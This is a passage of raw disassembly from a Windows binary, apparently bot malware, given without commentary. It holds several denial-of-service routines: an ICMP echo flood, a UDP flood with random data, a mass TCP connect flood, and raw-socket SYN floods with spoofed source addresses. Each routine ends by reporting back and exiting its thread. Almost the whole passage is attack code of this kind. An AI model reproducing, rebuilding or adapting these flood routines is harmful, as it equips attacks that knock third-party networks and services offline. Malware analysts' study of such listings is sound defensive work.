loc_413ECE: ; CODE XREF: sub_413E10+5Fj
cmp eax, ebx
jz short loc_413EDE
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413EE1
; ---------------------------------------------------------------------------
loc_413EDE: ; CODE XREF: sub_413E10+C0j
mov [ebp+var_4], esi
loc_413EE1: ; CODE XREF: sub_413E10+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BF70
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413F01
mov [ebp+var_3C], eax
loc_413F01: ; CODE XREF: sub_413E10+ECj
cmp [ebp+var_38], edi
jge short loc_413F09
mov [ebp+var_38], edi
loc_413F09: ; CODE XREF: sub_413E10+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_413F36
loc_413F10: ; CODE XREF: sub_413E10+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CB8EC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413F10
loc_413F36: ; CODE XREF: sub_413E10+FEj
push [ebp+arg_0]
call dword_4CBA8C ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_4379F0
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413F7F
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409869
add esp, 14h
loc_413F7F: ; CODE XREF: sub_413E10+14Dj
lea eax, [ebp+var_344]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_413E10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F9C proc near ; DATA XREF: sub_401ACD+5679o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 11h
push 2
push 2
call dword_4CBA54 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_414081
lea eax, [ebp+var_B0]
push eax
call dword_4CBA58 ; gethostbyname
cmp eax, edi
jnz short loc_41407A
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_437A70
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41405D
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409869
add esp, 14h
loc_41405D: ; CODE XREF: sub_413F9C+9Fj
lea eax, [ebp+var_334]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_41407A: ; CODE XREF: sub_413F9C+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_414084
; ---------------------------------------------------------------------------
loc_414081: ; CODE XREF: sub_413F9C+6Ej
lea eax, [ebp+arg_0]
loc_414084: ; CODE XREF: sub_413F9C+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_41409F
call sub_41C2C2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_4140A2
; ---------------------------------------------------------------------------
loc_41409F: ; CODE XREF: sub_413F9C+F0j
push [ebp+var_24]
loc_4140A2: ; CODE XREF: sub_413F9C+101j
call dword_4CB9D4 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_4140B4
mov [ebp+var_24], esi
loc_4140B4: ; CODE XREF: sub_413F9C+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_4140C1
mov [ebp+var_24], eax
loc_4140C1: ; CODE XREF: sub_413F9C+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_4140D5
mov [ebp+var_28], esi
loc_4140D5: ; CODE XREF: sub_413F9C+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_4140F6
loc_4140DC: ; CODE XREF: sub_413F9C+158j
call sub_41C2C2
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_4140DC
loc_4140F6: ; CODE XREF: sub_413F9C+13Ej
; sub_413F9C+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_414155
push 0Bh
pop esi
loc_414103: ; CODE XREF: sub_413F9C+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CBA38 ; sendto
push [ebp+var_28]
call ds:dword_427080 ; Sleep
dec esi
jnz short loc_414103
cmp [ebp+var_24], edi
jnz short loc_4140F6
call sub_41C2C2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
jmp short loc_4140F6
; ---------------------------------------------------------------------------
loc_414155: ; CODE XREF: sub_413F9C+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_437A44
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_414195
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409869
add esp, 14h
loc_414195: ; CODE XREF: sub_413F9C+1D7j
lea eax, [ebp+var_334]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
sub_413F9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141B2 proc near ; DATA XREF: sub_401ACD+4CC4o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_414313
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset dword_437A98
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414232
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_414232: ; CODE XREF: sub_4141B2+5Ej
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4141B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: sub_414313+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
call ds:dword_427204 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4271E0 ; ioctlsocket
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call ds:dword_4271F8 ; connect
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
call ds:dword_427080 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
call ds:dword_427200 ; closesocket
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; =============== S U B R O U T I N E =======================================
sub_414313 proc near ; CODE XREF: sub_4141B2+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov edi, eax
call sub_41C159
push [esp+14h+arg_8]
mov ebx, eax
call sub_41C159
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: sub_414313+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414313 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414358 proc near ; DATA XREF: sub_401ACD+636Bo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_4146A9
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset unk_437AC4
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4143D8
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_4143D8: ; CODE XREF: sub_414358+5Ej
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414358 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: sub_4146A9+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944 ; WSAStartup
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB9D4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9D4 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9D4 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9D4 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_34], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_437AEC
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA6C ; closesocket
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB92C ; WSACleanup
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; =============== S U B R O U T I N E =======================================
sub_4146A9 proc near ; CODE XREF: sub_414358+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov esi, eax
call sub_41C159
push [esp+14h+arg_8]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: sub_4146A9+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4146A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414703 proc near ; DATA XREF: sub_401ACD+6D3Do
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA14 ; inet_addr
push eax
call sub_4147A6
pop ecx
pop ecx
push eax
lea eax, [ebp+var_394]
push offset dword_437B0C
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414787
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409869
add esp, 14h
loc_414787: ; CODE XREF: sub_414703+62j
lea eax, [ebp+var_394]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414703 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147A6 proc near ; CODE XREF: sub_414703+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41D9A5
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CB9E8 ; gethostname
push [ebp+var_4]
call dword_4CBA58 ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CBA54 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CB9B4 ; setsockopt
mov esi, 200h
push esi
call sub_41BEB5
mov edi, ds:dword_4270B0
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CB9D4 ; htons
mov [ebp+var_96], ax
loc_4148C1: ; CODE XREF: sub_4147A6+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_4149A7
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41C2C2
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41C2C2
mov [ebp+var_20], ax
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CB9D4 ; htons
push esi
mov [ebp+var_1E], ax
call dword_4CB9D4 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41C2C2
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40AA5F
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call dword_4CBA38 ; sendto
jmp loc_4148C1
; ---------------------------------------------------------------------------
loc_4149A7: ; CODE XREF: sub_4147A6+12Cj
push [ebp+var_8]
call sub_41BA91
pop ecx
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_4147A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149C1 proc near ; DATA XREF: sub_401ACD+5306o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_4270B0
call edi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 0FFh
push 3
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414A8A
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_437C24
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414A6A
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414A6A: ; CODE XREF: sub_4149C1+84j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414A8A: ; CODE XREF: sub_4149C1+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414B08
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_437BEC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414AE8
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414AE8: ; CODE XREF: sub_4149C1+102j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414B08: ; CODE XREF: sub_4149C1+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
